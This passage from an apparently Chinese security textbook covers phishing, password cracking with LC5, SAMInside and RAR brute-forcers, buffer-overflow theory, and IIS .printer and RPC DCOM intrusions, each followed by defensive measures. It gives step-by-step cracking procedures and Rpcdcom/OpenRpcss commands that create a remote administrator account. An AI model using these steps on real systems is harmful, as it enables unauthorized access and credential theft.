木马一般都是通过发送邮件或在网站中隐藏木马等方式大肆传播，当感染木马的用户进行网上交易时，木马程序即可以键盘记录的方式获取用户账号和密码，并发送到指定邮箱，这样用户资金将受到严重威胁。

如网上出现的盗取银行个人网上银行账号和密码的木马Troj_HidWebmon及其变种，它甚至可以盗取用户数字证书。又如“证券大盗”木马，可以通过屏幕快照将用户的网页登录界面保存为图片，并发送到指定邮箱。黑客通过对照图片中鼠标的点击位置，来破译出用户的账号和密码，从而突破软键盘密码保护技术，严重影响股民网上证券交易安全。

（5）利用用户弱口令等漏洞破解、猜测用户账号和密码。

黑客利用部分用户贪图方便设置弱口令的漏洞，对银行卡等密码进行破解。如某些黑客从网上搜寻某银行储蓄卡卡号，然后登录该银行网上银行网站，尝试破解弱口令并屡屡获得成功。事实上，黑客在实施网络诈骗的犯罪活动过程中，经常把几种方法结合起来进行，还可以手机短信、QQ、MSN等通信工具进行各种各样的“网络钓鱼”不法活动。

3.网络钓鱼攻击的预防

针对不法分子通常采取的网络欺诈手法，广大用户要防范网络钓鱼，应做到如下几点：

不要在网上留下证明自己身份的任何资料，包括手机号码、身份证号、银行卡号码等。

不要把自己的隐私资料通过网络传输，包括银行卡号码、身份证号、电子商务网站账户等资料不要通过QQ、MSN、E-mail等软件传播，往往可能被黑客利用来进行诈骗。

不要相信网上的消息，除非得到权威途径的证明。如网络论坛、新闻组、QQ等往往有人发布谣言，伺机窃取用户的身份资料等。

不要在网站注册时透露自己的真实资料，如住址、住宅电话、手机号码、自己使用的银行账户等。骗子可能利用这些资料去欺骗自己的朋友。

如果涉及金钱交易、商业合同、工作安排等重大事项，不要仅仅通过网络完成，有心计的骗子可能通过这些途径了解用户的资料，伺机进行诈骗。

不要轻易相信通过电子邮件、网络论坛等发布的中奖信息、促销信息等，除非得到另外途径的证明。因为正规公司一般不会通过电子邮件给用户发送中奖信息和促销信息的。

其他网络安全防范措施。一是安装防火墙和防病毒软件，并经常升级；二是注意经常给系统打补丁，堵塞软件漏洞；三是禁止浏览器运行JavaScript和ActiveX代码；四是不要浏览陌生的网站，不要执行从网上下载后未经杀毒处理的软件等；五是提高自我保护意识，尽量避免在网吧等公共场所使用网上电子商务服务。

2.2　口令猜解攻击

口令认证是目前防止黑客进入和使用系统最有效也是最常用的做法之一。获取合法用户的账号和口令已经成为黑客攻击的重要手段之一。在有些情况下，黑客必须取得合法用户或管理员的口令才能进入和控制系统。现在，有一部分人喜欢破解他人的各种口令，如系统账户口令、压缩文件口令等。

2.2.1　攻击原理

攻击者攻击目标主机时常常把破译用户的口令作为攻击的开始。只有猜测或者确定用户的口令，才能获得其访问权，并能访问到该用户能访问到的任何资源。如果这个用户有域管理员或root用户权限，这是极其危险的。猜解口令的前提是必须先获得该主机上某个合法用户的账号，然后再进行合法用户口令的破译。下面有三种方法可以实现口令猜解攻击。

1.通过网络监听非法得到用户口令

这类方法具有一定的局限性，但危害性极大。监听者往往采用中途截击的方法来获取用户账户和密码。当前，很多协议根本就没有采用任何加密或身份认证技术，如在Telnet、FTP、HTTP、SMTP等传输协议中，用户账户和密码信息都是以明文格式传输的，此时若攻击者利用数据包截取工具便可很容易收集到账户和密码。

还有一种中途截击攻击方法，它在同服务器端完成“三次握手”建立连接之后，在通信过程中扮演“第三者”的角色，假冒服务器身份进行欺骗，再假冒向服务器发出恶意请求，其造成的后果不堪设想。

另外，攻击者还可以利用软件和硬件工具时刻监视系统主机的工作，等待记录用户登录信息，从而取得用户密码；或编制有缓冲区溢出错误的SUID程序来获得超级用户权限。

2.利用专门的软件破解口令

在知道用户的账号后（如电子邮件@前面的部分）利用一些专门软件强行破解用户口令，这种方法不受网段限制，但攻击者要有足够的耐心和时间。例如，采用字典穷举法（或称暴力法）来破解用户的密码。

攻击者可以通过一些工具，自动地从电脑字典中取出一个单词，作为用户口令再输入给远端的主机，申请进入系统；弱口令错误就是按序取出下一个单词，进行下一个尝试，并一直循环下去，直到找到正确的口令或字典的单词试完为止。由于这个破译过程由计算机程序来自动完成，因而几个小时就可以把上十万条记录的字典里所有单词都尝试一遍。

3.利用系统管理员的失误

在操作系统中，用户的基本信息存放在passwd文件中，而所有的口令则经过DES加密方法加密后，专门存放在一个叫shadow的文件中。黑客们获取口令文件后，就会使用专门的破解DES加密法的程序来解口令。同时，由于为数不少的操作系统都存在许多安全漏洞、Bug或一些其他设计缺陷，这些缺陷一旦被找出，黑客就可以长驱直入。为了保护自己密码的安全，用户要慎重设置自己的口令。要想设置好的口令需要做到如下几点：

不要使用/关于自己的信息作为口令，如执照号码、电话号码、身份证号码、工作证号码、生日、所居住的街道名字等。

不使用简单危险口令，推荐使用口令设置为8位以上的大小写字母、数字和其他符号的组合。设置口令的一个最好选择就是将两个不相关的词用一个数据字或非字母字符相连。

要定期更换口令，因为8位数以上的字母、数字和其他符号的组合也不是绝对无懈可击的，但更换口令前要确保所使用电脑的安全。

不要把口令轻易告诉任何人。尽可能避免因为对方是网友或现实生活中的朋友，而把密码告诉他。

避免多个资源使用同一个口令，一旦一个口令泄露，所有的资源都受到威胁。

不要让Windows或者IE保存任何形式的口令，因为“*”符号掩盖不了真实的口令，而且在这种情况下，Windows都会将口令储存在某个文件中。

不要随意保存账号和口令，注意把账号和口令存放在相对安全的位置。把口令写在台历上、记在钱包上等都是危险的做法。

申请密码保护，即设置安全码，安全码不要和口令设置的一样。如果没有设置安全码，别人一旦破解密码，就可以把密码和注册资料（除证件号码）全部修改。

2.2.2　攻击与防御实战

根据口令猜解的方法可以知道，在进行攻击时，各种密码破解工具是必不可少的，下面通过几款常见软件来介绍黑客进行密码破解的具体过程。

1.使用LC5破解计算机密码

L0phtCrack5.02（简写为LC5）是L0phtCrack组织开发的Windows平台口令审核的程序的新版本，提供了审核Windows账号的功能，以提高系统的安全性。另外，LC5也被一些黑客用来破解Windows用户口令，给用户的网络安全造成很大的威胁。所以，了解LC5的使用方法，可以避免使用不安全的密码，从而提高用户本身系统的安全性。

在Windows操作系统中用户账号的安全管理使用了安全账号管理SAM（Securiy Account Manager）机制，用户和口令经过Hash加密变换后以Hash列表的形式存放在%System Rot%\System32\config下的SAM文件中。LC5是通过破解这个SAM文件来获得用户名和密码的。LC5可以从本地系统、其他文件系统、系统备份中获得SAM文件，从而破解出口令。

使用LC5破解密码的具体操作步骤如下：

步骤1　下载并安装LC5，单击桌面上的快捷图标即可打开【LC5向导】对话框，如图2-1所示。单击【下一步】按钮，即可打开【取得加密口令】对话框，在其中选择相应单选按钮来设置导入加密口令的方法，这里选择“从本地机器导入”单选按钮，如图2-2所示。

图　2-1　【LC5向导】对话框

图　2-2　【取得加密口令】对话框

步骤2　单击【下一步】按钮，即可打开【选择破解方法】对话框，如图2-3所示。LC5提供了快速口令破解、普通口令破解、复杂口令破解以及自定义等4种破解方式。

图　2-3　【选择破解方法】对话框

步骤3　选择“自定义”单选按钮，单击【自定义选项】按钮，即可打开【自定义破解选项】对话框，如图2-4所示。LC5提供了字典攻击、混合字典、预定散列以及暴力破解等4种自定义破解方式，这里勾选“使用‘字典攻击’破解口令”复选框。

图　2-4　【自定义破解选项】对话框

步骤4　单击【确定】按钮，即可返回【选择破解方法】对话框。单击【下一步】按钮，即可打开【选择报告风格】对话框，在其中选择所需的报告风格，如图2-5所示。

图　2-5　【选择报告风格】对话框

步骤5　单击【下一步】按钮，即可打开【开始破解】对话框，在其中可以看到提示准备破解密码提示信息，如图2-6所示。

图　2-6　【开始破解】对话框

步骤6　单击【完成】按钮，即可打开【LC5】的主窗口，并开始破解密码，如图2-7所示。在其中可以看到本地计算机中所有的账户名称以及其属性。待破解完成后，即可在【LC5】主窗口的“口令”列中，看到破解出来的账户口令，如图2-8所示。

图　2-7　开始破解

图　2-8　破解完成

LC5是一款比较常用的密码破解工具，其使用过程非常方便，但是当遇到密码比较复杂的情况时，破解密码可能会需要很多时间。

2.使用SAMInside破解计算机密码

SAMInside为一款俄罗斯人出品Windows密码恢复软件，可在Windows NT/2000/XP/Vista操作系统中使用，主要用来恢复Windows用户登录密码。与一般Windows密码破解软件有不同：多数Windows密码恢复软件都是将Windows用户密码重置，而如果此时用户恰好使用了NTFS文件系统，且将文件用NTFS的特性EFS（加密文件系统）加密，则这些文件将变成永久不可读数据。SAMInside是将用户密码以可阅读的明文方式破解出来，且SAMInside可使用分布式攻击方式同时使多台计算机进行密码破解，从而大大提高了破解速度。

下面以SAMInside-v2.6.0汉化版为例来介绍破解计算机密码，主要使用步骤如下：

步骤1　从网上下载得到SAMInside-v2.6.0的软件包，解压缩之后双击SAMInside.exe程序，即可打开【SAMInside】主窗口，如图2-9所示。

图　2-9　【SAMInside】主窗口

步骤2　单击工具栏中的【导入】按钮，在快捷菜单中可以看出该软件提供了8种导入方式，如图2-10所示。从上到下分别是从SAM和SYSTEM注册表文件导入、从SAM注册表文件和用系统密钥文件导入、从PWDUMP文件导入、从*.HDT文件导入、从*.LCP文件导入、从*.LCS文件导入、从*.LC文件导入、从*.LST输入文件。

图　2-10　选择密码导入方式菜单

步骤3　如果想把账户导出到指定的文件中，则单击工具栏中的【导出】按钮，在快捷菜单中选择相应的导出方式。SAMInside提供了导出PWDUMP文件中的用户、导出PWDUMP文件中选定的用户、导出已猜解的密码、导出统计表等多种导出方式，如图2-11所示。

图　2-11　选择导出账户

步骤4　如果想破解本地计算机密码，则可单击工具栏中的第三个按钮，在快捷菜单中相应的选项。如选择“使用LSASS导入本地用户”选项，即可快速导入本地账户；如选择“使用计划任务导入本地用户”选项，则需要进行等候才可导入，如图2-12所示。

图　2-12　选择导入本地账户

步骤5　单击工具栏中的按钮即可进行“标记所有用户”、“取消标记所有用户”、“反向标记”、“编辑用户”和“添加用户”等操作，如图2-13所示。在快捷菜单中选择“添加用户”选项，即可弹出【SAMInside】对话框，在其中可以设置新增加的账户的信息，还可以在相应位置输入LM和NT的哈希值（hash），如图2-14所示。

图　2-13　对用户进行操作

图　2-14　【SAMInside】对话框

步骤6　单击工具栏中的【删除】按钮，在弹出的快捷菜单中选择相应的选项即可进行删除选择的账户、删除已经创建了密码的账户、删除所有的账户等操作，如图2-15所示。

图　2-15　删除用户菜单

步骤7　单击工具栏中的按钮，即可打开【生成器】窗口，从中可以分别看出LM和NT的哈希值，如图2-16所示。SAMInside提供了LM哈希攻击、NT哈希攻击、暴力攻击、掩码攻击、字典攻击、预计算式攻击等多种攻击方式。

图　2-16　【SAMInside】窗口

注意　如果密码前3位是数字，后2位是字母，中间有3位不详，此时需要设置一下以增加破解速度。这种破解方式就是掩码攻击。

步骤8　单击工具栏中的【攻击】按钮，在快捷菜单中选择相应的方式，如图2-17所示。单击工具栏中的按钮或按钮，即可恢复密码，当然，黑客们会利用该菜单猜解目标口令，而按钮的作用是停止猜解。

图　2-17　选择攻击方式菜单

下面以一个本地计算机账户Administrator的密码破解为例介绍密码破解过程。

具体的操作步骤如下：

步骤1　在【SAMInside】主窗口单击工具栏中的第三个按钮，在快捷菜单中选择“使用LSASS导入本地用户”选项，即可自动读入本机的用户账户信息，如图2-18所示。

图　2-18　导入本地账户信息

步骤2　选中"Administrator"账户之后，单击工具栏中的【攻击】按钮，在弹出的快捷菜单中选择NT哈希攻击和暴力攻击方式，如图2-19所示。

图　2-19　选择攻击方式

步骤3　选择“选项”选项，即可打开【Options】对话框，在勾选“[0……9]”复选框之后，选择7位的密码个数上限，如图2-20所示。

图　2-20　【Options】对话框

步骤4　单击【OK】按钮，返回到【SAMInside】主窗口中。单击工具栏中的按钮或按钮，即可开始猜解密码，待猜解完毕后即可看到【暴力攻击完成】提示框，如图2-21所示。

图　2-21　【暴力攻击完成】提示框

步骤5　单击【确定】按钮，即可看到猜解出的密码，如图2-22所示。猜解的过程往往需要一段时间，这就要耐心等待了。另外，还可以根据需要选择其他攻击方式。

图　2-22　猜解出的账户密码

3.压缩包密码的暴力破解

RAR Password Cracker是一款专门用来破解RAR压缩文件密码的工具，通过暴力破解、密码字典等方法，来快速破解被密码保护的文件。其最新版本具备了状态存储、并行计算、多卷文件支持等新功能。使用RAR Password Cracker破解压缩包密码的具体操作步骤如下：

步骤1　安装RAR Password Cracker后启动该软件，即可打开【RAR密码解密向导-欢迎】对话框，选择“创建新的工程”单选按钮，如图2-23所示。

图　2-23　【RAR密码解密向导-欢迎】对话框

步骤2　单击【下一步】按钮，即可打开【RAR密码解密向导-需要解密的文件】对话框，如图2-24所示。单击【加载RAR压缩包】按钮，即可打开【打开】对话框，在其中选择需要解密的压缩包，如图2-25所示。

图　2-24　【RAR密码解密向导-需要解密的文件】对话框

图　2-25　【打开】对话框

步骤3　单击【打开】按钮返回到【RAR密码解密向导-需要解密的文件】对话框，此时在“加密文件”列表中即可看到刚加载的压缩包的属性，如图2-26所示。

图　2-26　加载的压缩包的属性

步骤4　单击【添加至工程】按钮，即可将加载的压缩包加入破解列表中，如图2-27所示。单击【下一步】按钮，即可打开【RAR密码解密向导-选择解密方式】对话框，如图2-28所示。该软件提供字典解密和暴力解密两种破解方式，在这里选择“暴力解密”单选按钮。

图　2-27　把压缩包添加到解密列表中

图　2-28　【RAR密码解密向导-选择解密方式】对话框

步骤5　单击【下一步】按钮即可打开【RAR密码解密向导-暴力解密】对话框，如图2-29所示。单击【添加】按钮，在弹出的快捷菜单中选择相应的字符类型，然后设置密码的范围以及最大长度和最短长度。

图　2-29　【RAR密码解密向导-暴力解密】对话框

步骤6　单击【下一步】按钮，即可打开【RAR密码解密向导-保存您的工程并开始解密】对话框，如图2-30所示。单击【浏览】按钮，即可打开【另存为】对话框，在其中选择工程保存位置和名称，如图2-31所示。

图　2-30　【RAR密码解密向导-保存您的工程并开始解密】对话框

图　2-31　【另存为】对话框

步骤7　单击【保存】按钮，即可返回到【RAR密码解密向导-保存您的工程并开始解密】对话框中。单击【完成】按钮，即可开始对压缩包密码进行破解，如图2-32所示。其破解速度与压缩包密码强度和计算机运行速度有关。

图　2-32　对压缩包密码进行破解

4.防御措施

要预防口令攻击的最好方法就是设置安全性高的密码，而安全性高的密码应该遵循如下几下基本原则：

尽量设置便于记忆的长密码，可以使用完整的短语，而非单个的单词或数字作为密码。因为密码越长，则被破解的可能性就越小；

尽量在密码中插入特殊符号。如果密码中包含有特殊符号，那么黑客成功破解密码的几率就会大大降低；

不要在密码中出现账号，也不要个人信息作为密码的内容，如生日、身份证号码、亲人或者伴侣的姓名等；

要定期更新密码。每隔一段时间更新一次自已的密码，但是新密码也遵守以上原则，同时，新密码不应包括旧密码的内容，并且不应与旧密码相似。

2.3　缓冲区溢出攻击

缓冲区溢出是一种非常普遍、非常危险的漏洞，在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击，可以导致程序运行失败、系统当机、重新启动等后果。更为严重的是，可以利用它执行非授权指令，甚至可以取得系统特权，进而进行各种非法操作。

2.3.1　攻击原理

缓冲区溢出是指当计算机程序向缓冲区内填充的数据位数超过了缓冲区本身的容量时，理想情况是，程序检查数据长度并且不允许输入超过缓冲区长度的字符串。但绝大多数程序都会出现假设数据长度与所分配的存储空间不相匹配的情况，这就为缓冲区溢出埋下隐患。

在各个操作进程之间，指令被临时存储在堆栈当中，堆栈也会出现缓冲区溢出。当一个超长的数据进入到缓冲区时，超出部分就会被写入其他缓冲区，其他缓冲区存放的可能是数据、下一条指令的指针或其他程序的输出内容，这些内容都被覆盖或者破坏掉。由此可见，数据或一套指令的溢出，就可能会导致一个程序或操作系统崩溃。

黑客制造的溢出往往是有一定企图的，他们可以编写一个超过缓冲区长度的字符串植入到缓冲区，再向一个有限空间的缓冲区中植入超长的字符串，此时可能会出现如下两个结果：

过长的字符串覆盖了相邻的存储单元，引起程序运行失败，严重的可导致系统崩溃；

利用溢出漏洞可执行任意指令，甚至可取得系统root特级权限。

1.溢出根源

缓冲区溢出是由编程错误引起的。如果缓冲区被写满，而程序没有去检查缓冲区边界，也没有停止接收数据，此时就会发生缓冲区溢出。缓冲区溢出之所以泛滥，是由于开放源代码程序的本质决定的。一些编程语言对于缓冲区溢出是具有免疫力的，但被广泛使用的C语言却没有建立检测机制。标准C语言具有许多复制和添加字符串的函数，这使得标准C语言很难进行边界检查。C++稍微好一些，但仍然存在缓冲区溢出。

一般情况下，覆盖其他数据区的数据是没有意义的，最多造成应用程序错误，但如果输入数据是经过“黑客”或病毒精心设计的，覆盖缓冲区数据恰恰是“黑客”或病毒的入侵程序代码，一旦多余字节被编译执行，“黑客”或病毒就有可能为所欲为，获取系统的控制权。

2.溢出原理

一个程序在内存中通常分为三部分，分别是程序段、数据段和堆栈。其中程序段里放着程序的机器码和只读数据，数据段中放的是程序中的静态数据，动态数据则通过堆栈来存放。在内存中的位置如图2-33所示。

图　2-33　内存中的程序

通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，使程序转而执行其他指令以实现入侵。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序：

void function(char*str){

char buffer[25];

strcpy(buffer, str);

}

上述代码是使用strcpy()函数直接把str中的内容复制到buffer中。这样，只要str的长度大于25，就会造成buffer的溢出，使程序运行出错。存在像strcpy这样问题的标准函数还有strcat()、sprintf()、vsprintf()、gets()、scanf()等。当然，随便往缓冲区中填东西造成的溢出，一般只会出现“分段错误”（Segmentation fault），而不能实现攻击。最常见手段是通过制造缓冲区溢出使程序运行一个用户shell，再通过shell执行其他命令。如果攻击者已经获得了一个有root权限的shell，就可以对系统进行任意操作。

缓冲区溢出攻击之所以成为一种常见远程攻击手段，其原因在于缓冲区溢出漏洞太普遍了，并且易于实现。一般都是通过植入缓冲区溢出漏洞的程序，来获得被攻击主机的控制权。

3.攻击方式

黑客进行缓冲区溢出攻击的目的是扰乱具有某些特权运行的程序的功能，从而取得程序的控制权，如果该程序具有足够的权限，那么整个主机就被控制了。在一般情况下，黑客利用缓冲区溢出漏洞攻击root程序，执行类似"exec(sh)"的执行代码来获得root的shell。为实现这个目的，攻击者必须达到两个目标：在程序的地址空间里安排适当的代码；通过适当地初始化寄存器和存储器，让程序跳转到事先安排的地址空间执行。

根据这两个目标，可以将缓冲区溢出攻击分为如下三类。

（1）在程序的地址空间里安排适当的代码。

在程序的地址空间中安排适当的代码往往比较简单。常见的方法有如下两种。

植入法。在大多数情况下在所攻击的程序中是不存在攻击代码的，此时就需要使用“植入法”的方式来完成。黑客向被攻击的程序输入一个字符串，程序会把这个字符串放到缓冲区里。这个字符串包含的数据是可以在这个被攻击的硬件平台上运行的指令序列。

利用已经存在的代码。如果攻击者想要的代码已经在被攻击的程序中了，攻击者所要做的只是对代码传递一些参数，然后使程序跳转到指定目标。如在C语言中，攻击代码要求执行"exec("/bin/sh")"，而在libc库中的代码执行"exec(arg)"，其中arg是指向一个字符串的指针参数，那么攻击者只要把传入的参数指针指向"/bin/sh"，就可以调转到libc库中的相应的指令序列。

（2）控制程序转移到攻击代码。

该种方法是改变程序的执行流程，使之跳转到攻击代码。最基本的方法就是溢出一个没有边界检查或者其他弱点的缓冲区，这样就扰乱了程序的正常的执行顺序。通过溢出一个缓冲区，黑客就可以改写相邻的程序空间而直接跳过系统对身份的验证。

但由于不同地方的定位也会有所不同，也会产生多种转移的方式。常见的有下面三种：

激活记录（Activation Records）。这是一种比较常见的溢出方式，每当调用一个函数时，在堆栈中留下一个激活记录，它包含了函数结束时返回的地址。攻击者通过溢出这些自动变量，使这个返回地址指向攻击代码。通过改变程序的返回地址，当函数调用结束时，程序就跳转到攻击者设定的地址，而不是原先的地址。

函数指针（Function Pointers）。在C语言中，"void(*foo)()"声明了一个返回值为void函数指针的变量foo。函数指针可以用来定位任何地址空间，所以攻击者只需在任何空间内的函数指针附近找到一个能够溢出的缓冲区，然后溢出这个缓冲区来改变函数指针。在某一时刻，当程序通过函数指针调用函数时，程序的流程就按攻击者的意图实现。

长跳转缓冲区（Longjmp buffers）。在C语言中包含了一个简单的检验/恢复系统，即setjmp/longjmp。其作用是在检验点设定"setjmp(buffer)"，而用"longjmp(buffer)"来恢复检验点。但是如果攻击者能够进入缓冲区的空间，"longjmp(buffer)"实际是跳转到攻击者的代码。与函数指针一样，longjmp缓冲区能够指向任何地方，所以攻击者所要做的就是找到一个可供溢出的缓冲区。

（3）综合代码植入和流程控制技术。

在进行溢出缓冲区攻击时，常常需要在一个字符串里综合了代码植入和激活记录。攻击者需要定位一个可供溢出的自动变量，然后向程序传递一个很大的字符串，在引发缓冲区溢出改变激活记录的同时植入了代码。代码植入和缓冲区溢出不一定要在一次动作内完成。攻击者可以在一个缓冲区内放置代码，这时不能溢出缓冲区。然后，攻击者通过溢出另外一个缓冲区来转移程序的指针。这种方法一般用来解决可供溢出的缓冲区不够大的情况。

如果攻击者想使用已经驻留的代码而不是从外部植入代码，就必须先把代码作为参数化。如在libc中的部分代码段会执行"exec(some)"，其中some就是参数。攻击者使用缓冲区溢出改变程序的参数，再利用另一个缓冲区溢出使程序指针指向libc中特定的代码段。

4.缓冲区溢出攻击防御

由于缓冲区溢出攻击可以带来恶劣的后果，所以要采取措施对缓冲区溢出攻击进行防御。目前有如下几种方法可以保护缓冲区免受缓冲区溢出的攻击和影响：

编写正确的代码。编写正确的代码是一件非常有意义但耗时的工作，特别像编写C语言那种具有容易出错倾向的程序。尽管花了很长的时间使得人们知道了如何编写安全的程序，具有安全漏洞的程序依旧出现。因此需要开发一些工具和技术来帮助经验不足的程序员编写安全正确的程序。

非执行的缓冲区。通过使被攻击程序的数据段地址空间不可执行，从而使得攻击者不可能执行植入被攻击程序输入缓冲区的代码，这种技术被称为非执行的缓冲区技术。但Windows系统为了要实现更好的性能和功能，往往在数据段中动态地放入可执行的代码。所以为了保持程序的兼容性，不可能使所有程序的数据段不可执行，所以缓冲区漏洞是存在的。

数组边界检查。该种方式和非执行缓冲区的不同在于：数组边界检查完全放置了缓冲区溢出的产生和攻击。所以只要数组不能被溢出，溢出攻击也就无从谈起。为了实现数组边界检查，则所有的对数组的读写操作都应该被检查，以确保对数组的操作在正确的范围内。最直接的方法是检查所有的数组操作，但是通常可以采用一些优化的技术来减少检查的次数。

程序指针完整性检查。程序指针完整性检查和边界检查略微不同，程序指针完整性检查在程序指针被引用之前检测到它的改变。即使一个攻击者成功地改变了程序的指针，由于系统事先检测到了指针的改变，所以这个指针将不会被使用。

程序指针完整性检查不能解决所有的缓冲区溢出问题，但是这种方法在性能上有很大的优势，而且在兼容性方面也很好。

2.3.2　攻击与防御实战

缓冲区溢出攻击是远程网络攻击中最常见的一种攻击方式，这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权。如果能有效地消除缓冲区溢出的漏洞，则很大一部分的安全威胁可以得到缓解。

1.针对IIS.printer缓冲区溢出漏洞攻击

IIS. printer漏洞（应用程序映射缓冲溢出）是比较流行的漏洞，国内外仍有很多台计算机存在此漏洞。该漏洞只存在于运行IIS 5.0的服务器中。由于IIS 5.0打印ISAPI扩展接口建立了.printer扩展名到Msw3prt.dll的映射关系（默认情况下该映射也存在）。

当远程用户提交对.printer的URL请求时，IIS 5.0会调用Msw3prt.dll文件来解释该请求，但Msw3prt.dll缺乏足够的缓冲区边界检查。如果黑客提交一个精心构造的针对.printer的URL请求，且其"Host："域包含大约420B的数据，此时在Msw3prt.dll中发生典型的缓冲区溢出。在溢出发生之后，Web服务将会停止用户响应，而计算机就会自动重启，这样系统管理员就很难检查到已发生的攻击。

（1）漏洞的检测。可以使用专门的扫描工具对目标主机进行扫描，从扫描的结果中可查看是否存在.printer缓冲区溢出漏洞。

这里使用X-Scan来扫描远程主机是否存在.printer缓冲区漏洞，具体的操作步骤如下：

步骤1　双击X-Scan_gui主应用程序，即可打开【X-Scan】主窗口，在其中可以浏览此软件的功能简介、常见问题解答等信息，如图2-34所示。

图　2-34　【X-Scan】主窗口

步骤2　在【X-Scan主窗口】中选择【设置】→【扫描参数】菜单项或单击工具栏中的按钮，即可打开【扫描参数】对话框，在其中可以输入目标主机IP地址的扫描范围，也可以输入IP段，如图2-35所示。

图　2-35　【扫描参数】对话框

步骤3　选择【全局设置】→【扫描模块】菜单项，即可打开【扫描模块】窗口，在其中选择要扫描的模块并对其进行相应设置，如图2-36所示。在设置完成之后，单击【确定】按钮，即可结束对扫描参数的设置。

图　2-36　设置扫描模块

步骤4　单击工具栏中的【开始】按钮，即可开始对主机进行扫描，如图2-37所示。如果对方主机存在.printer漏洞，则会在【命令行提示】窗口中出现"Found IIS remote.printer overflow bug！"的提示信息。

图　2-37　对目标计算机进行扫描

（2）漏洞的利用。如果目标主机存在.printer漏洞，即可利用该漏洞进行攻击。可以使用IIShack5.0打开远端计算机的端口，在得到远程主机的system权限后，制作后门账号并查看其权限，从而实现可以完全控制该计算机。

（3）预防措施。由于IIs.printer漏洞是.printer后缀的脚本输送给msw3prt.dll的存在溢出而形成的。要避免黑客利用该漏洞进行攻击，可以删除.printer映射。

具体的操作步骤如下：

步骤1　选择【开始】→【设置】→【控制面板】菜单项，即可打开【控制面板】窗口。双击“管理工具”图标，即可打开【管理工具】窗口，如图2-38所示。双击“Internet信息服务”图标，即可打开【Internet信息服务】窗口，如图2-39所示。

图　2-38　【控制面板】窗口

图　2-39　【Internet信息服务】窗口

步骤2　右击“默认网站”图标，在弹出的快捷菜单中选择“属性”选项，即可打开【默认网站属性】对话框，如图2-40所示。

图　2-40　【默认网站属性】对话框

步骤3　在“主目录”选项卡中单击【配置】按钮，即可打开【应用程序配置】对话框，如图2-41所示。在“应用程序映射”列表中找到.printer映射后直接将其删除就可以了。

图　2-41　【应用程序配置】对话框

2.RPC缓冲区溢出攻击

Microsoft的RPC（Remote Procedure Call，远程过程调用）部分在通过TCP/IP处理信息交换时漏洞，该漏洞是由于不正确处理畸形信息所致，该漏洞影响使用RPC的DCOM接口。该接口处理由客户端计算机发送给服务器的DCOM对象激活请求。攻击者成功利用该漏洞可以在本地系统权限执行安装程序，查看、更改、建立系统管理员权限的账户及删除数据等操作。

注意　其中分布式对象（DCOM）是一种可以使软件组件通过网络直接进行网络通信的协议，可以跨越Internet协议（如HTTP）在内的多种网络传输。

（1）漏洞检测。检测这类漏洞使用RPC漏洞专用扫描器Retina(R)-DCOM Scanner。它是eEye安全公司针对微软MS03-026以及最新MS03-039 RPC DCOM漏洞的扫描工具。

使用该软件扫描RPC漏洞的具体操作步骤如下：

步骤1　运行Retina（R）-DCOM Scanner主程序，即可打开【Retina(R)-DCOM Scanner】主窗口，在"Start IP"文本框和"End IP"文本框中分别输入起始和终止的IP地址，如图2-42所示。

图　2-42　【Retina（R）-DCOM Scanner】主窗口

步骤2　单击【Scan】按钮，即可开始扫描，如图2-43所示。如果在设置的IP范围中有存在RPC漏洞的主机，则该主机的详细信息将出现在扫描结果中。

图　2-43　设置扫描的IP范围

（2）漏洞利用。RPC溢出漏洞带来的危害很严重，如基于RPC漏洞的著名病毒“冲击波”，可导致目标计算机反复重启系统，不能正常复制文件和浏览网站，DNS、IIS、路由器等受到非法拒绝服务攻击，甚至整个网络系统处于瘫痪状态。

漏洞利用工具有两个：Rpcdcom和OpenRpcss。先使用Rpcdcom对远程主机发送畸形数据包，再使用OpenRpcss攻击远程主机，最终会在远程主机内部建立一个管理员账号。

其中Rpcdcom命令格式：Rpcdcom Server。

OpenRpcss命令格式：OpenRpcss\\Server。

使用这两种工具入侵存在RPC漏洞的主机的具体步骤如下：

步骤1　使用“Rpcdcom存在漏洞远程主机的IP地址”命令给远程主机发送畸形数据。

步骤2　使用“OpenRpcss.exe\\存在漏洞远程主机的IP地址”命令在该远程主机中建立管理员账号。

步骤3　在远程主机内部成功建立一个管理员账号后，使用“net use\\存在漏洞远程主机的IP地址\IPC$"密码"/user:"用户名"”命令，即可通过IPC$管道连接证明管理员账号是否创建成功。

（3）漏洞的防范。黑客可以利用RPC漏洞，给远程服务器监听的特定RPC端口发送畸形请求，如135、139、445等任何配置了RPC端口的计算机，在受到攻击时，Windows系统也出现蓝屏、重启以及自动关机的现象。下面有两种方法可很好地预防RPC漏洞攻击。

更改RPC服务设置。在Windows系统中可以通过设置相关的服务来预防RPC缓冲区溢出攻击，具体操作步骤如下：

步骤1　在【管理工具】窗口中双击“服务”图标，即可打开【服务】窗口，在其中可以看到本机中所有的服务，如图2-44所示。在“服务”列表中右击"Remote Proceduce Call（RPC）"服务，在弹出的快捷菜单中选择“属性”选项，即可打开【Remote Procedure Call（RPC）的属性】对话框。

图　2-44　【服务】窗口

步骤2　切换到“恢复”选项卡，将其中的第一、二次失败以及后续失败都设置为“不操作”选项，如图2-45所示。

图　2-45　【Remote Procedure Call（RPC）的属性】对话框

安装微软提供的RPC补丁。

3.即插即用功能远程控制缓冲区溢出漏洞

UPnP（Universal Plug and Play，通用即插即用）是一种用于PC机和智能设备（或仪器）的常见对等网络连接的体系结构，尤其是在家庭中。它允许不同的设备（如电脑、扫描仪、打印机等）联成网络，可以在彼此之间自动识别并进行通信，这样，用户就不需要为每个外设来配置计算机。

但UPnP对缓冲区（Buffer）的使用没有进行检查和限制，黑客可利用这一漏洞控制同一网络上的电脑或发动DoS攻击。更为严重的是，同一网络的其他用户甚至不需要知道该计算机的IP地址，就可以对其发起攻击。这个缺陷导致的后果很严重，不论哪个版本的Windows系统，只要运行UPnP，就都存在这个危险。

但严格地说，这并不完全是UPnP技术本身的问题，更多的是程序设计的疏忽。UPnP协议存在安全漏洞问题，是由eEye数字安全公司最早发现并通知微软的。其中的UPnP缓冲区溢出，是Windows中有史以来最严重的缓冲溢出漏洞。

（1）漏洞检测。可以使用MS05-039Scan工具检测此类漏洞，它是一款用于Microsoft Windows即插即用功能远程缓冲区溢出漏洞的专用扫描工具。

只探测出远程主机存在的漏洞还远远不够，还需要使用X-Scan来对远程主机进行扫描，得到远程主机上使用的Windows操作系统类型等信息。

